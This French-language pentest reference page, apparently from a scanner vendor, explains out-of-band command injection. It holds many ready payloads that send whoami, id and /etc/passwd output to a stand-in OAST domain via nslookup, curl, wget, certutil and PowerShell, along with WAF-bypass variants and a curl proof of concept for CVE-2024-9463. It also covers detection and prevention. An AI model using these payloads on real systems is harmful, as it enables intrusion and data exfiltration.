Injection de commandes hors-bande

Qu'est-ce que l'injection de commandes hors-bande ?#

L'injection de commandes hors-bande (OOB) est la technique de confirmation — et d'exfiltration depuis — l'injection de commandes à l'aveugle en déclenchant une connexion réseau depuis le serveur cible vers un écouteur contrôlé par l'attaquant. La commande injectée ne produit pas de sortie dans la réponse HTTP ; à la place, elle initie une requête DNS sortante, une requête HTTP, ou une autre interaction de protocole réseau que l'attaquant observe sur son infrastructure.

L'OOB est la méthode de confirmation la plus fiable pour l'injection à l'aveugle. Elle est insensible au buffering de réponse CDN (qui contrecarre la détection basée sur le temps), à la variation de charge serveur, et à la gigue réseau. Elle fournit une preuve d'identité — l'utilisateur courant encodé dans le sous-domaine DNS — plutôt qu'un simple oui/non binaire. Et parce que la résolution DNS est permise à travers la plupart des pare-feux d'entreprise même quand HTTP est filtré, l'OOB via DNS atteint des cibles que les callbacks HTTP ne peuvent pas atteindre.

Cette page couvre la mécanique de l'exfiltration OOB, le paysage complet de l'infrastructure, comment BreachVex relie les callbacks à des sondes individuelles, et les cas spécifiques où l'OOB est la seule méthode de détection viable. Pour le concept fondamental d'injection à l'aveugle, voir la page À l'aveugle. Pour la confirmation basée sur le temps, voir la page Basée sur le temps.

Mécanisme#

La chaîne OOB comporte six étapes :

1. L'attaquant injecte un payload contenant une commande qui déclenche une connexion réseau sortante, incorporant la sortie d'une commande (par ex., whoami) comme sous-domaine ou paramètre de chemin.
2. L'application cible transmet la chaîne injectée à une fonction d'exécution shell.
3. Le shell exécute l'injection : évalue d'abord $(whoami) comme sous-shell, puis utilise le résultat dans la requête DNS ou l'URL.
4. Le serveur cible envoie une requête réseau sortante (résolution DNS ou HTTP GET) vers l'infrastructure OAST de l'attaquant.
5. Le serveur OAST enregistre l'interaction entrante, notant le sous-domaine (qui contient la sortie de la commande) et l'horodatage.
6. L'attaquant interroge le serveur OAST et lit l'interaction — confirmant l'exécution et exfiltrant des données sans aucune preuve dans la réponse HTTP.

Payloads#

Exfiltration DNS#

L'OOB via DNS est la plus fiable car le port DNS 53 UDP/TCP traverse la plupart des pare-feux d'entreprise :

# Exfiltration whoami basique — pattern le plus courant
; nslookup $(whoami).OAST_DOMAIN
; nslookup `id`.OAST_DOMAIN
 
# Résolution DNS basée sur curl (si nslookup n'est pas disponible)
; curl http://$(whoami).OAST_DOMAIN/
 
# Alternative avec la commande host
; host $(whoami).OAST_DOMAIN
 
# Alternative avec dig
; dig $(whoami).OAST_DOMAIN
 
# Exfiltrer le hostname
; nslookup $(hostname).OAST_DOMAIN
 
# Exfiltrer whoami + hostname ensemble
; nslookup $(whoami).$(hostname).OAST_DOMAIN
 
# Équivalent Windows (cmd.exe)
& nslookup %OS%.OAST_DOMAIN &
& nslookup %COMPUTERNAME%.OAST_DOMAIN &

Exfiltration HTTP#

Les callbacks HTTP permettent des payloads de données plus larges (pas de limite de 63 caractères pour les labels DNS) :

# Sortie de id encodée en base64 via curl
; curl http://OAST_DOMAIN/$(id|base64 -w0)
 
# Alternative wget
; wget -q http://OAST_DOMAIN/?q=$(id|base64 -w0)
 
# Contenu /etc/passwd (partiel — première ligne)
; curl http://OAST_DOMAIN/$(head -1 /etc/passwd|base64 -w0)
 
# Énumération de fichiers via boucle
; for f in $(ls /etc/); do curl -s http://OAST_DOMAIN/?f=$f; done
 
# Avec contournement IFS pour contournement WAF
$(curl${IFS}http://$(id|base64${IFS}-w0).OAST_DOMAIN/)

OOB Windows#

REM DNS — net use pour chemin UNC déclenche DNS+SMB (utile avec Responder)
& net use \\$(OAST_DOMAIN)\share &
 
REM DNS via nslookup
& nslookup %USERNAME%.OAST_DOMAIN &
 
REM HTTP via certutil (souvent inscrit sur liste blanche)
& certutil -urlcache -split -f http://OAST_DOMAIN/$(whoami) %TEMP%\oob.txt &
 
REM Callback HTTP PowerShell
& powershell -c "Invoke-WebRequest http://OAST_DOMAIN/?u=$env:USERNAME" &

Variantes de contournement des espaces#

Quand la cible filtre les espaces dans les payloads d'injection :

; nslookup${IFS}$(whoami).OAST_DOMAIN
; curl${IFS}http://OAST_DOMAIN/$(id)
$(curl${IFS}http://$(whoami|base64${IFS}-w0).OAST_DOMAIN/)
%0a nslookup$(IFS)$(whoami).OAST_DOMAIN

Infrastructure#

Burp Collaborator (Standard professionnel)#

Burp Collaborator est l'infrastructure OAST standard pour les tests d'intrusion professionnels :

• Sous-domaines uniques par test : chaque élément de scan actif obtient un sous-domaine Collaborator unique, empêchant les faux positifs entre éléments
• API de polling : Burp Scanner interroge le serveur Collaborator et corrèle automatiquement les interactions avec les requêtes de scan
• Couverture de protocoles : DNS, HTTP, HTTPS, SMTP
• Audit trail : toutes les interactions enregistrées avec horodatages pour inclusion dans les rapports
• Confidentialité des données : serveur privé — les données d'interaction ne sont pas exposées aux tiers

# Format de sous-domaine Burp Collaborator :
YOUR-PAYLOAD.YOUR-COLLABORATOR-ID.oastify.com

Interactsh (Open-source, auto-hébergeable)#

Interactsh (ProjectDiscovery) est la solution OAST open-source de référence :

# Installer le CLI
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
 
# Démarrer le client — enregistre automatiquement un sous-domaine unique
interactsh-client
 
# Sortie :
# [INF] Using interactsh server: oast.pro
# [INF] Listing on: abc123xyz.oast.pro
# [DNS] Received DNS interaction for: www-data.abc123xyz.oast.pro from 203.0.113.42

Déploiement auto-hébergé (pour les environnements isolés) :

# Déployer interactsh-server sur un VPS
interactsh-server --domain your-oast.example.com --token secret-token
 
# Connecter le client au serveur auto-hébergé
interactsh-client -s your-oast.example.com -token secret-token

Endpoints OAST publics#

Le pattern d'identifiant de corrélation#

Dans les scans concurrents testant plusieurs paramètres simultanément, plusieurs payloads OOB se déclenchent en même temps. Sans identifiants de corrélation par sonde, vous ne pouvez pas déterminer quel paramètre a causé quel callback.

import uuid
 
def generate_oob_payload(param_name, oast_server):
    """Générer un payload OOB unique pour une sonde de paramètre unique."""
    correlation_id = str(uuid.uuid4())[:8]
    oast_domain = f"cmdi-{correlation_id}.{oast_server}"
    payload = f"; nslookup $(whoami).{oast_domain}"
    return payload, correlation_id, oast_domain
 
# Usage :
payload, corr_id, domain = generate_oob_payload("host", "oast.pro")
# payload = "; nslookup $(whoami).cmdi-7a3b1f92.oast.pro"
# corr_id = "7a3b1f92"
# domain  = "cmdi-7a3b1f92.oast.pro"

JSON de preuve attendu quand l'interaction est reçue :

{
  "technique": "oob_dns",
  "payload": "; nslookup $(whoami).cmdi-7a3b1f92.oast.pro",
  "oob_interaction": {
    "type": "dns",
    "subdomain_received": "www-data.cmdi-7a3b1f92.oast.pro",
    "exfiltrated_data": "www-data",
    "source_ip": "203.0.113.42",
    "timestamp": "2026-05-08T14:23:11Z",
    "correlation_id": "7a3b1f92"
  }
}

Exemples réels#

CVE-2024-3400 — PAN-OS GlobalProtect (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

L'exploitation de CVE-2024-3400 par l'acteur menaçant UTA0218 (Volexity) est l'un des usages les plus documentés de la confirmation d'injection OOB dans une campagne d'acteur étatique. L'attaque en deux étapes :

1. Étape 1 : Un cookie SESSID malformé avec traversée de chemin (SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.py) utilisait le portail GlobalProtect pour écrire un fichier Python arbitraire.
2. Étape 2 : Une requête séparée déclenchait l'exécution du fichier écrit avec les privilèges root via un processus cron en arrière-plan.

Les attaquants ont confirmé l'exécution au niveau root via des callbacks DNS OOB avant de déployer la backdoor Python UPSTYLE. La confirmation OOB était critique car la réponse HTTP du portail ne retournait aucune sortie de commande. La CISA a ajouté cela au catalogue KEV le 12 avril 2024 — le jour même de la découverte.

CVE-2024-9463 — Palo Alto Expedition (CVSS 9.9)

L'injection de commandes OS non authentifiée dans /API/convertCSVtoParquet.php exécutait des commandes en root sans retourner aucune sortie dans la réponse API. L'OOB était la seule méthode de confirmation viable. L'exploitation PoC utilisait :

curl -X POST https://expedition.example.com/API/convertCSVtoParquet.php \
  -d "file=x;curl${IFS}http://$(id|base64${IFS}-w0).cmdi-test.oast.pro/"

Le serveur Interactsh recevait un GET HTTP vers un chemin contenant la sortie de id encodée en base64, confirmant l'exécution root. CISA KEV.

HackerOne — Rapports d'injection à l'aveugle confirmée via OOB

Plusieurs rapports publics HackerOne documentent l'injection à l'aveugle confirmée via OOB. HackerOne #2293731 (Internet Bug Bounty, CVE-2023-6004) utilisait l'injection SSH ProxyCommand via des noms d'hôte contrôlés par l'utilisateur — l'injection à l'aveugle était confirmée via DNS OOB puisque le sous-processus SSH ne produisait aucune sortie visible par l'application. La technique d'injection via l'option ProxyCommand se rattache directement à la variante Injection d'arguments couverte dans la page Injection d'arguments.

Détection#

Tests manuels#

1. Enregistrer un sous-domaine Interactsh ou configurer Burp Collaborator :

   interactsh-client
   # Noter le sous-domaine assigné : abc123.oast.pro

   Copier

2. Injecter la sonde DNS avec un identifiant de corrélation :

   ; nslookup $(whoami).cmdi-test-001.abc123.oast.pro
   ; curl http://abc123.oast.pro/$(id|base64 -w0)

   Copier

3. Surveiller la console Interactsh pour les interactions entrantes :

   [DNS] www-data.cmdi-test-001.abc123.oast.pro from 203.0.113.42

   Copier

   Le préfixe de sous-domaine www-data confirme à la fois l'exécution et l'utilisateur courant.

4. Si DNS est bloqué, essayer HTTP :

   ; curl http://abc123.oast.pro/probe
   ; wget -q -O /dev/null http://abc123.oast.pro/probe

   Copier

5. Tester avec des variantes de contournement des espaces quand les payloads basiques échouent :

   ;${IFS}nslookup${IFS}$(whoami).abc123.oast.pro
   %0anslookup%20$(whoami).abc123.oast.pro

   Copier

6. Pour les cibles Windows, tester DNS via nslookup et chemins UNC :

   & nslookup %USERNAME%.abc123.oast.pro &

   Copier

Détection automatisée#

Commix en mode OOB :

commix --url "http://target.com/ping?host=*" \
       --batch --smart --technique=O --level=3 \
       --dns-server oast.pro

Burp Suite Pro utilise automatiquement Collaborator pour la détection OOB quand les techniques "Out-of-band" sont activées dans les paramètres du scanner. Le panneau Collaborator affiche toutes les interactions corrélées aux éléments de scan.

BreachVex confirme l'injection OOB en injectant ; nslookup $(whoami).cmdi-<identifiant-de-correlation>.<domaine-oast> avec un identifiant de corrélation unique par sonde. Quand l'interaction hors-bande est reçue, le préfixe du sous-domaine (la sortie de la commande) et l'identifiant de corrélation sont extraits et stockés comme preuve confirmée.

Prévention#

L'injection OOB exploite la même cause profonde que toutes les variantes d'injection de commandes — l'entrée utilisateur atteignant une fonction d'exécution shell. Le canal OOB est une technique d'exploitation, pas la vulnérabilité elle-même. Prévenir l'injection prévient le callback OOB.

# VULNÉRABLE — callback OOB se déclenche depuis ce code
import os
def process_domain(domain):
    # L'attaquant injecte : ; nslookup $(whoami).attacker.oast.pro
    result = os.popen(f"nslookup {domain}").read()
    return result
 
# SÛR — pas de shell, forme tableau
import subprocess, re
def process_domain_safe(domain):
    # Liste d'autorisation stricte — format de domaine uniquement
    if not re.fullmatch(r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]{1,253}[a-zA-Z0-9]$', domain):
        raise ValueError("Format de domaine invalide")
    result = subprocess.run(
        ["nslookup", domain],
        capture_output=True,
        text=True,
        timeout=10
    )
    return result.stdout

Défense au niveau réseau : bloquer les requêtes DNS et HTTP sortantes des serveurs applicatifs vers internet. De nombreuses techniques de détection OOB échouent entièrement quand le serveur n'a pas d'accès direct à internet et que tout le DNS est résolu via un serveur interne qui ne transfère pas vers des résolveurs externes. Cela ne corrige pas la vulnérabilité d'injection mais contrecarre la confirmation OOB et l'exfiltration de données.

Ressources#

• PortSwigger Lab — Blind OS command injection with OOB data exfiltration
• Interactsh — ProjectDiscovery (OAST open-source)
• CVE-2024-3400 — Palo Alto Advisory
• OWASP OS Command Injection Defense Cheat Sheet